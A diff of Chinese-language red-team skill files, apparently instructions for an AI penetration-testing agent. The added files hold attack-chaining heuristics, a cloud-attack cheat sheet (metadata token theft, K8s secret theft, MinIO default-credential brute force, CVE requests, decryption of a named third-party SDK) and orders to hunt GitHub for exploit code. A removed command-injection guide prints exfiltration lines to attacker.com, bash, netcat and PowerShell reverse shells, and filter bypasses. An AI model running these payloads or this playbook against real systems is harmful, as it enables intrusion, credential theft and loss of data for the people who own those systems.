正向: 对每个能力问"能解锁什么?"; 对每对能力问"组合出什么?"
|
||||||
|
(read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)
|
||||||
|
反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→
|
||||||
|
手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证
|
||||||
|
|
||||||
|
突破口(看到别走开):
|
||||||
|
·"功能即原语": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没"功能/漏洞"之分,只有"能力"。
|
||||||
|
·跨协议跳跃: SSRF的gopher/dict/file把"只能发HTTP"变成"打Redis/发SMTP/读文件"。
|
||||||
|
·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。
|
||||||
|
·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。
|
||||||
|
·时间维度: TOCTOU/token可预测/缓存投毒,把"偶尔"变"稳定",把不可利用变可利用。
|
||||||
|
·跨域兑现: 每拿一个能力问"它在别的域值多少钱"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。
|
||||||
|
·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列"我以为不可能"逐条问"凭什么不可能"
|
||||||
|
> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。
|
||||||
|
```
|
||||||
|
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
---
|
||||||
|
name: cloud-attack-methods
|
||||||
|
description: >-
|
||||||
|
云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 云攻击手法
|
||||||
|
|
||||||
|
```
|
||||||
|
=== 云 ===
|
||||||
|
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
|
||||||
|
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
|
||||||
|
🚨云身份攻击(拿到key/token后的提权横向):
|
||||||
|
AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
|
||||||
|
Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
|
||||||
|
Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
|
||||||
|
GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
|
||||||
|
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
|
||||||
|
🚨MinIO攻击矩阵:
|
||||||
|
指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
|
||||||
|
Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
|
||||||
|
STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
|
||||||
|
CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
|
||||||
|
CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
|
||||||
|
匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
|
||||||
|
上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
|
||||||
|
扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
|
||||||
|
🚨阿里云FC函数(fcapp.run)枚举:
|
||||||
|
识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
|
||||||
|
特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
|
||||||
|
利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
|
||||||
|
枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
|
||||||
|
路径穿越: FC正确规范化(../无效),但可枚举不同function路径
|
||||||
|
CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
|
||||||
|
FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
|
||||||
|
🚨橙子建站(ChengZi SDK)解密:
|
||||||
|
初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
|
||||||
|
解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
|
||||||
|
d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
|
||||||
|
关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
|
||||||
|
```
|
||||||
@@ -1,343 +0,0 @@
|
|||||||
---
|
|
||||||
name: cloud-security-audit
|
|
||||||
description: 云安全审计的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# 云安全审计
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
|
|
||||||
|
|
||||||
## 审计范围
|
|
||||||
|
|
||||||
### 1. 身份和访问管理
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- IAM策略配置
|
|
||||||
- 用户权限
|
|
||||||
- 角色权限
|
|
||||||
- 访问密钥管理
|
|
||||||
|
|
||||||
### 2. 网络安全
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- 安全组配置
|
|
||||||
- 网络ACL
|
|
||||||
- VPC配置
|
|
||||||
- 流量加密
|
|
||||||
|
|
||||||
### 3. 数据安全
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- 数据加密
|
|
||||||
- 密钥管理
|
|
||||||
- 备份策略
|
|
||||||
- 数据分类
|
|
||||||
|
|
||||||
### 4. 合规性
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
- 合规框架
|
|
||||||
- 审计日志
|
|
||||||
- 监控告警
|
|
||||||
- 事件响应
|
|
||||||
|
|
||||||
## AWS安全审计
|
|
||||||
|
|
||||||
### IAM审计
|
|
||||||
|
|
||||||
**检查IAM策略:**
|
|
||||||
```bash
|
|
||||||
# 列出所有IAM用户
|
|
||||||
aws iam list-users
|
|
||||||
|
|
||||||
# 列出所有IAM策略
|
|
||||||
aws iam list-policies
|
|
||||||
|
|
||||||
# 检查用户权限
|
|
||||||
aws iam list-user-policies --user-name username
|
|
||||||
aws iam list-attached-user-policies --user-name username
|
|
||||||
|
|
||||||
# 检查角色权限
|
|
||||||
aws iam list-role-policies --role-name rolename
|
|
||||||
```
|
|
||||||
|
|
||||||
**常见问题:**
|
|
||||||
- 过度权限
|
|
||||||
- 未使用的访问密钥
|
|
||||||
- 密码策略弱
|
|
||||||
- MFA未启用
|
|
||||||
|
|
||||||
### S3安全审计
|
|
||||||
|
|
||||||
**检查S3存储桶:**
|
|
||||||
```bash
|
|
||||||
# 列出所有存储桶
|
|
||||||
aws s3 ls
|
|
||||||
|
|
||||||
# 检查存储桶策略
|
|
||||||
aws s3api get-bucket-policy --bucket bucketname
|
|
||||||
|
|
||||||
# 检查存储桶ACL
|
|
||||||
aws s3api get-bucket-acl --bucket bucketname
|
|
||||||
|
|
||||||
# 检查存储桶加密
|
|
||||||
aws s3api get-bucket-encryption --bucket bucketname
|
|
||||||
```
|
|
||||||
|
|
||||||
**常见问题:**
|
|
||||||
- 公开访问
|
|
||||||
- 未加密
|
|
||||||
- 版本控制未启用
|
|
||||||
- 日志记录未启用
|
|
||||||
|
|
||||||
### 安全组审计
|
|
||||||
|
|
||||||
**检查安全组:**
|
|
||||||
```bash
|
|
||||||
# 列出所有安全组
|
|
||||||
aws ec2 describe-security-groups
|
|
||||||
|
|
||||||
# 检查开放端口
|
|
||||||
aws ec2 describe-security-groups --group-ids sg-xxx
|
|
||||||
```
|
|
||||||
|
|
||||||
**常见问题:**
|
|
||||||
- 0.0.0.0/0开放
|
|
||||||
- 不必要的端口开放
|
|
||||||
- 规则过于宽松
|
|
||||||
|
|
||||||
### CloudTrail审计
|
|
||||||
|
|
||||||
**检查审计日志:**
|
|
||||||
```bash
|
|
||||||
# 列出所有跟踪
|
|
||||||
aws cloudtrail describe-trails
|
|
||||||
|
|
||||||
# 检查日志文件完整性
|
|
||||||
aws cloudtrail get-trail-status --name trailname
|
|
||||||
```
|
|
||||||
|
|
||||||
## Azure安全审计
|
|
||||||
|
|
||||||
### 订阅和资源组
|
|
||||||
|
|
||||||
**检查订阅:**
|
|
||||||
```bash
|
|
||||||
# 列出所有订阅
|
|
||||||
az account list
|
|
||||||
|
|
||||||
# 检查资源组
|
|
||||||
az group list
|
|
||||||
```
|
|
||||||
|
|
||||||
### 网络安全组
|
|
||||||
|
|
||||||
**检查NSG:**
|
|
||||||
```bash
|
|
||||||
# 列出所有NSG
|
|
||||||
az network nsg list
|
|
||||||
|
|
||||||
# 检查NSG规则
|
|
||||||
az network nsg rule list --nsg-name nsgname --resource-group rgname
|
|
||||||
```
|
|
||||||
|
|
||||||
### 存储账户
|
|
||||||
|
|
||||||
**检查存储账户:**
|
|
||||||
```bash
|
|
||||||
# 列出所有存储账户
|
|
||||||
az storage account list
|
|
||||||
|
|
||||||
# 检查访问策略
|
|
||||||
az storage account show --name accountname --resource-group rgname
|
|
||||||
```
|
|
||||||
|
|
||||||
## GCP安全审计
|
|
||||||
|
|
||||||
### 项目和组织
|
|
||||||
|
|
||||||
**检查项目:**
|
|
||||||
```bash
|
|
||||||
# 列出所有项目
|
|
||||||
gcloud projects list
|
|
||||||
|
|
||||||
# 检查IAM策略
|
|
||||||
gcloud projects get-iam-policy project-id
|
|
||||||
```
|
|
||||||
|
|
||||||
### 计算引擎
|
|
||||||
|
|
||||||
**检查实例:**
|
|
||||||
```bash
|
|
||||||
# 列出所有实例
|
|
||||||
gcloud compute instances list
|
|
||||||
|
|
||||||
# 检查防火墙规则
|
|
||||||
gcloud compute firewall-rules list
|
|
||||||
```
|
|
||||||
|
|
||||||
### 存储
|
|
||||||
|
|
||||||
**检查存储桶:**
|
|
||||||
```bash
|
|
||||||
# 列出所有存储桶
|
|
||||||
gsutil ls
|
|
||||||
|
|
||||||
# 检查存储桶权限
|
|
||||||
gsutil iam get gs://bucketname
|
|
||||||
```
|
|
||||||
|
|
||||||
## 自动化工具
|
|
||||||
|
|
||||||
### Scout Suite
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# AWS审计
|
|
||||||
scout aws
|
|
||||||
|
|
||||||
# Azure审计
|
|
||||||
scout azure
|
|
||||||
|
|
||||||
# GCP审计
|
|
||||||
scout gcp
|
|
||||||
```
|
|
||||||
|
|
||||||
### Prowler
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# AWS安全审计
|
|
||||||
prowler -c check11,check12,check13
|
|
||||||
|
|
||||||
# 完整审计
|
|
||||||
prowler
|
|
||||||
```
|
|
||||||
|
|
||||||
### CloudSploit
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 扫描AWS账户
|
|
||||||
cloudsploit scan aws
|
|
||||||
|
|
||||||
# 扫描Azure订阅
|
|
||||||
cloudsploit scan azure
|
|
||||||
```
|
|
||||||
|
|
||||||
### Pacu
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# AWS渗透测试框架
|
|
||||||
pacu
|
|
||||||
```
|
|
||||||
|
|
||||||
## 审计清单
|
|
||||||
|
|
||||||
### IAM安全
|
|
||||||
- [ ] 检查用户权限
|
|
||||||
- [ ] 检查角色权限
|
|
||||||
- [ ] 检查访问密钥
|
|
||||||
- [ ] 检查密码策略
|
|
||||||
- [ ] 检查MFA启用情况
|
|
||||||
|
|
||||||
### 网络安全
|
|
||||||
- [ ] 检查安全组/NSG规则
|
|
||||||
- [ ] 检查VPC配置
|
|
||||||
- [ ] 检查网络ACL
|
|
||||||
- [ ] 检查流量加密
|
|
||||||
|
|
||||||
### 数据安全
|
|
||||||
- [ ] 检查数据加密
|
|
||||||
- [ ] 检查密钥管理
|
|
||||||
- [ ] 检查备份策略
|
|
||||||
- [ ] 检查数据分类
|
|
||||||
|
|
||||||
### 合规性
|
|
||||||
- [ ] 检查审计日志
|
|
||||||
- [ ] 检查监控告警
|
|
||||||
- [ ] 检查事件响应
|
|
||||||
- [ ] 检查合规框架
|
|
||||||
|
|
||||||
## 常见安全问题
|
|
||||||
|
|
||||||
### 1. 过度权限
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- IAM策略过于宽松
|
|
||||||
- 用户拥有管理员权限
|
|
||||||
- 角色权限过大
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 最小权限原则
|
|
||||||
- 定期审查权限
|
|
||||||
- 使用IAM策略模拟
|
|
||||||
|
|
||||||
### 2. 公开资源
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- S3存储桶公开
|
|
||||||
- 安全组开放0.0.0.0/0
|
|
||||||
- 数据库公开访问
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 限制访问范围
|
|
||||||
- 使用私有网络
|
|
||||||
- 启用访问控制
|
|
||||||
|
|
||||||
### 3. 未加密数据
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 存储未加密
|
|
||||||
- 传输未加密
|
|
||||||
- 密钥管理不当
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 启用加密
|
|
||||||
- 使用TLS/SSL
|
|
||||||
- 使用密钥管理服务
|
|
||||||
|
|
||||||
### 4. 日志缺失
|
|
||||||
|
|
||||||
**问题:**
|
|
||||||
- 未启用审计日志
|
|
||||||
- 日志未保留
|
|
||||||
- 日志未监控
|
|
||||||
|
|
||||||
**修复:**
|
|
||||||
- 启用CloudTrail/Azure Monitor
|
|
||||||
- 设置日志保留策略
|
|
||||||
- 配置监控告警
|
|
||||||
|
|
||||||
## 最佳实践
|
|
||||||
|
|
||||||
### 1. 最小权限
|
|
||||||
|
|
||||||
- 只授予必要权限
|
|
||||||
- 定期审查权限
|
|
||||||
- 使用IAM策略模拟
|
|
||||||
|
|
||||||
### 2. 多层防护
|
|
||||||
|
|
||||||
- 网络层防护
|
|
||||||
- 应用层防护
|
|
||||||
- 数据层防护
|
|
||||||
|
|
||||||
### 3. 监控和告警
|
|
||||||
|
|
||||||
- 启用审计日志
|
|
||||||
- 配置监控告警
|
|
||||||
- 建立事件响应流程
|
|
||||||
|
|
||||||
### 4. 合规性
|
|
||||||
|
|
||||||
- 遵循合规框架
|
|
||||||
- 定期安全审计
|
|
||||||
- 文档化安全策略
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权环境中进行审计
|
|
||||||
- 避免对生产环境造成影响
|
|
||||||
- 注意不同云平台的差异
|
|
||||||
- 定期进行安全审计
|
|
||||||
@@ -1,302 +0,0 @@
|
|||||||
---
|
|
||||||
name: command-injection-testing
|
|
||||||
description: 命令注入漏洞测试的专业技能和方法论
|
|
||||||
version: 1.0.0
|
|
||||||
---
|
|
||||||
|
|
||||||
# 命令注入漏洞测试
|
|
||||||
|
|
||||||
## 概述
|
|
||||||
|
|
||||||
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
|
|
||||||
|
|
||||||
## 漏洞原理
|
|
||||||
|
|
||||||
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
|
|
||||||
|
|
||||||
**危险代码示例:**
|
|
||||||
```php
|
|
||||||
// PHP
|
|
||||||
system("ping " . $_GET['ip']);
|
|
||||||
|
|
||||||
// Python
|
|
||||||
os.system("ping " + user_input)
|
|
||||||
|
|
||||||
// Node.js
|
|
||||||
child_process.exec("ping " + user_input)
|
|
||||||
```
|
|
||||||
|
|
||||||
## 测试方法
|
|
||||||
|
|
||||||
### 1. 识别命令执行点
|
|
||||||
|
|
||||||
**常见功能:**
|
|
||||||
- Ping功能
|
|
||||||
- DNS查询
|
|
||||||
- 文件操作
|
|
||||||
- 系统信息
|
|
||||||
- 日志查看
|
|
||||||
- 备份恢复
|
|
||||||
|
|
||||||
### 2. 基础检测
|
|
||||||
|
|
||||||
**测试命令分隔符:**
|
|
||||||
```
|
|
||||||
; # 命令分隔符(Linux/Windows)
|
|
||||||
& # 后台执行(Linux/Windows)
|
|
||||||
| # 管道符(Linux/Windows)
|
|
||||||
&& # 逻辑与(Linux/Windows)
|
|
||||||
|| # 逻辑或(Linux/Windows)
|
|
||||||
` # 命令替换(Linux)
|
|
||||||
$() # 命令替换(Linux)
|
|
||||||
```
|
|
||||||
|
|
||||||
**测试Payload:**
|
|
||||||
```
|
|
||||||
127.0.0.1; id
|
|
||||||
127.0.0.1 && whoami
|
|
||||||
127.0.0.1 | cat /etc/passwd
|
|
||||||
127.0.0.1 `whoami`
|
|
||||||
127.0.0.1 $(whoami)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 3. 盲命令注入
|
|
||||||
|
|
||||||
**时间延迟检测:**
|
|
||||||
```
|
|
||||||
127.0.0.1; sleep 5
|
|
||||||
127.0.0.1 && sleep 5
|
|
||||||
127.0.0.1 | sleep 5
|
|
||||||
```
|
|
||||||
|
|
||||||
**外带数据:**
|
|
||||||
```
|
|
||||||
127.0.0.1; curl http://attacker.com/?$(whoami)
|
|
||||||
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
|
|
||||||
```
|
|
||||||
|
|
||||||
**DNS外带:**
|
|
||||||
```
|
|
||||||
127.0.0.1; nslookup $(whoami).attacker.com
|
|
||||||
```
|
|
||||||
|
|
||||||
## 利用技术
|
|
||||||
|
|
||||||
### 基础命令执行
|
|
||||||
|
|
||||||
**Linux:**
|
|
||||||
```
|
|
||||||
; id
|
|
||||||
; whoami
|
|
||||||
; uname -a
|
|
||||||
; cat /etc/passwd
|
|
||||||
; ls -la
|
|
||||||
```
|
|
||||||
|
|
||||||
**Windows:**
|
|
||||||
```
|
|
||||||
& whoami
|
|
||||||
& ipconfig
|
|
||||||
& type C:\Windows\System32\drivers\etc\hosts
|
|
||||||
& dir
|
|
||||||
```
|
|
||||||
|
|
||||||
### 文件操作
|
|
||||||
|
|
||||||
**读取文件:**
|
|
||||||
```
|
|
||||||
; cat /etc/passwd
|
|
||||||
; type C:\Windows\System32\config\sam
|
|
||||||
; head -n 20 /var/log/apache2/access.log
|
|
||||||
```
|
|
||||||
|
|
||||||
**写入文件:**
|
|
||||||
```
|
|
||||||
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
|
|
||||||
; echo "test" > C:\temp\test.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
### 反弹Shell
|
|
||||||
|
|
||||||
**Bash:**
|
|
||||||
```
|
|
||||||
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
|
||||||
```
|
|
||||||
|
|
||||||
**Netcat:**
|
|
||||||
```
|
|
||||||
; nc -e /bin/bash attacker.com 4444
|
|
||||||
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
|
|
||||||
```
|
|
||||||
|
|
||||||
**PowerShell:**
|
|
||||||
```
|
|
||||||
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
|
||||||
```
|
|
||||||
|
|
||||||
## 绕过技术
|
|
||||||
|
|
||||||
### 空格绕过
|
|
||||||
|
|
||||||
```
|
|
||||||
${IFS}id
|
|
||||||
${IFS}whoami
|
|
||||||
$IFS$9id
|
|
||||||
<>
|
|
||||||
%09 (Tab)
|
|
||||||
%20 (Space)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 命令分隔符绕过
|
|
||||||
|
|
||||||
**编码绕过:**
|
|
||||||
```
|
|
||||||
%3b (;)
|
|
||||||
%26 (&)
|
|
||||||
%7c (|)
|
|
||||||
```
|
|
||||||
|
|
||||||
**换行绕过:**
|
|
||||||
```
|
|
||||||
%0a (换行)
|
|
||||||
%0d (回车)
|
|
||||||
```
|
|
||||||
|
|
||||||
### 关键字过滤绕过
|
|
||||||
|
|
||||||
**变量拼接:**
|
|
||||||
```bash
|
|
||||||
a=w;b=ho;c=ami;$a$b$c
|
|
||||||
```
|
|
||||||
|
|
||||||
**通配符:**
|
|
||||||
```bash
|
|
||||||
/bin/c?t /etc/passwd
|
|
||||||
/usr/bin/ca* /etc/passwd
|
|
||||||
```
|
|
||||||
|
|
||||||
**引号绕过:**
|
|
||||||
```bash
|
|
||||||
w'h'o'a'm'i
|
|
||||||
w"h"o"a"m"i
|
|
||||||
```
|
|
||||||
|
|
||||||
**反斜杠:**
|
|
||||||
```bash
|
|
||||||
w\ho\am\i
|
|
||||||
```
|
|
||||||
|
|
||||||
**Base64编码:**
|
|
||||||
```bash
|
|
||||||
echo "d2hvYW1p" | base64 -d | bash
|
|
||||||
```
|
|
||||||
|
|
||||||
### 长度限制绕过
|
|
||||||
|
|
||||||
**使用文件:**
|
|
||||||
```bash
|
|
||||||
echo "id" > /tmp/c
|
|
||||||
sh /tmp/c
|
|
||||||
```
|
|
||||||
|
|
||||||
**使用环境变量:**
|
|
||||||
```bash
|
|
||||||
export x='id';$x
|
|
||||||
```
|
|
||||||
|
|
||||||
## 工具使用
|
|
||||||
|
|
||||||
### Commix
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 基础扫描
|
|
||||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
|
|
||||||
|
|
||||||
# 指定注入点
|
|
||||||
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
|
|
||||||
|
|
||||||
# 获取Shell
|
|
||||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
|
|
||||||
```
|
|
||||||
|
|
||||||
### Burp Suite
|
|
||||||
|
|
||||||
1. 拦截请求
|
|
||||||
2. 发送到Intruder
|
|
||||||
3. 使用命令注入Payload列表
|
|
||||||
4. 观察响应或时间延迟
|
|
||||||
|
|
||||||
## 验证和报告
|
|
||||||
|
|
||||||
### 验证步骤
|
|
||||||
|
|
||||||
1. 确认可以执行系统命令
|
|
||||||
2. 验证命令执行结果
|
|
||||||
3. 评估影响(系统控制、数据泄露等)
|
|
||||||
4. 记录完整的POC
|
|
||||||
|
|
||||||
### 报告要点
|
|
||||||
|
|
||||||
- 漏洞位置和输入参数
|
|
||||||
- 可执行的命令类型
|
|
||||||
- 完整的利用步骤和POC
|
|
||||||
- 修复建议(输入验证、参数化、白名单等)
|
|
||||||
|
|
||||||
## 防护措施
|
|
||||||
|
|
||||||
### 推荐方案
|
|
||||||
|
|
||||||
1. **避免命令执行**
|
|
||||||
- 使用API替代系统命令
|
|
||||||
- 使用库函数替代命令
|
|
||||||
|
|
||||||
2. **输入验证**
|
|
||||||
```python
|
|
||||||
import re
|
|
||||||
|
|
||||||
def validate_ip(ip):
|
|
||||||
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
|
|
||||||
if not re.match(pattern, ip):
|
|
||||||
raise ValueError("Invalid IP")
|
|
||||||
parts = ip.split('.')
|
|
||||||
if not all(0 <= int(p) <= 255 for p in parts):
|
|
||||||
raise ValueError("Invalid IP range")
|
|
||||||
return ip
|
|
||||||
```
|
|
||||||
|
|
||||||
3. **参数化命令**
|
|
||||||
```python
|
|
||||||
import subprocess
|
|
||||||
|
|
||||||
# 危险
|
|
||||||
subprocess.call(['ping', '-c', '1', user_input])
|
|
||||||
|
|
||||||
# 安全 - 使用参数列表
|
|
||||||
subprocess.call(['ping', '-c', '1', validated_ip])
|
|
||||||
```
|
|
||||||
|
|
||||||
4. **白名单验证**
|
|
||||||
```python
|
|
||||||
ALLOWED_COMMANDS = ['ping', 'nslookup']
|
|
||||||
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
|
|
||||||
|
|
||||||
if command not in ALLOWED_COMMANDS:
|
|
||||||
raise ValueError("Command not allowed")
|
|
||||||
```
|
|
||||||
|
|
||||||
5. **最小权限**
|
|
||||||
- 使用低权限用户运行应用
|
|
||||||
- 限制文件系统访问
|
|
||||||
- 使用chroot或容器隔离
|
|
||||||
|
|
||||||
6. **输出过滤**
|
|
||||||
- 限制输出内容
|
|
||||||
- 过滤敏感信息
|
|
||||||
- 记录命令执行日志
|
|
||||||
|
|
||||||
## 注意事项
|
|
||||||
|
|
||||||
- 仅在授权测试环境中进行
|
|
||||||
- 避免对系统造成破坏
|
|
||||||
- 注意不同操作系统的命令差异
|
|
||||||
- 测试时注意命令执行的影响范围
|
|
||||||
@@ -0,0 +1,64 @@
|
|||||||
|
---
|
||||||
|
name: component-vuln-intel
|
||||||
|
description: >-
|
||||||
|
联网情报收集:识别组件后必做CVE/搜索引擎/中文社区/GitHub PoC/资产引擎/即时情报/依赖扩展+受阻换路。Use when a framework/component/version is identified and must search before exploit.
|
||||||
|
tags: [渗透测试, penetration-testing, 红队]
|
||||||
|
---
|
||||||
|
|
||||||
|
## 联网情报收集(识别组件→立即全网搜;结果=线索/tentative,验证前不是 confirmed Fact)
|
||||||
|
|
||||||
|
```
|
||||||
|
🔴一识别出框架/组件/版本 → 必须停本地扫描立即联网(不搜就利用=盲打=违反铁律)。
|
||||||
|
🔴以下序列全部执行(不是选做),用{C}=组件名 {V}=版本替换。每步都用browser_navigate或terminal实际访问:
|
||||||
|
|
||||||
|
1.CVE漏洞库(必做,找已知漏洞):
|
||||||
|
terminal: searchsploit {C} {V}
|
||||||
|
terminal: curl -s "https://cve.circl.lu/api/search/{C}/{V}" | python3 -c "import sys,json;[print(x['id'],x.get('summary','')[:80]) for x in json.load(sys.stdin)[:10]]"
|
||||||
|
browser_navigate: https://github.com/advisories?query={C}+{V}
|
||||||
|
browser_navigate: https://www.cvedetails.com/google-search-results.php?q={C}+{V}&sa=Search
|
||||||
|
|
||||||
|
2.搜索引擎(至少执行3个,找漏洞分析+PoC):
|
||||||
|
browser_navigate: https://www.google.com/search?q={C}+{V}+exploit+PoC+RCE+site:github.com
|
||||||
|
browser_navigate: https://www.google.com/search?q={C}+{V}+漏洞+利用+复现
|
||||||
|
browser_navigate: https://www.baidu.com/s?wd={C}+{V}+漏洞+利用+poc+getshell
|
||||||
|
browser_navigate: https://www.bing.com/search?q={C}+{V}+CVE+exploit+poc
|
||||||
|
browser_navigate: https://duckduckgo.com/?q={C}+{V}+vulnerability+exploit
|
||||||
|
|
||||||
|
3.中文安全社区(必做,中文首发多且深度分析好):
|
||||||
|
browser_navigate: https://xz.aliyun.com/search?keyword={C}+漏洞
|
||||||
|
browser_navigate: https://www.seebug.org/search/?keywords={C}
|
||||||
|
browser_navigate: https://paper.seebug.org/search/?keyword={C}
|
||||||
|
browser_navigate: https://www.freebuf.com/search?search={C}+{V}
|
||||||
|
browser_navigate: https://ti.qianxin.com/vulnerability?keyword={C}
|
||||||
|
browser_navigate: https://www.anquanke.com/search?s={C}
|
||||||
|
|
||||||
|
4.GitHub搜PoC/exploit代码(必做,最直接拿利用代码):
|
||||||
|
terminal: curl -s "https://api.github.com/search/repositories?q={C}+{V}+exploit+OR+poc+OR+CVE&sort=updated&per_page=10" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['full_name'],x['html_url'],x.get('description','')[:60]) for x in d.get('items',[])]"
|
||||||
|
terminal: curl -s "https://api.github.com/search/code?q={C}+RCE+OR+shell+OR+exploit+language:python&per_page=5" | python3 -c "import sys,json;d=json.load(sys.stdin);[print(x['html_url']) for x in d.get('items',[])]"
|
||||||
|
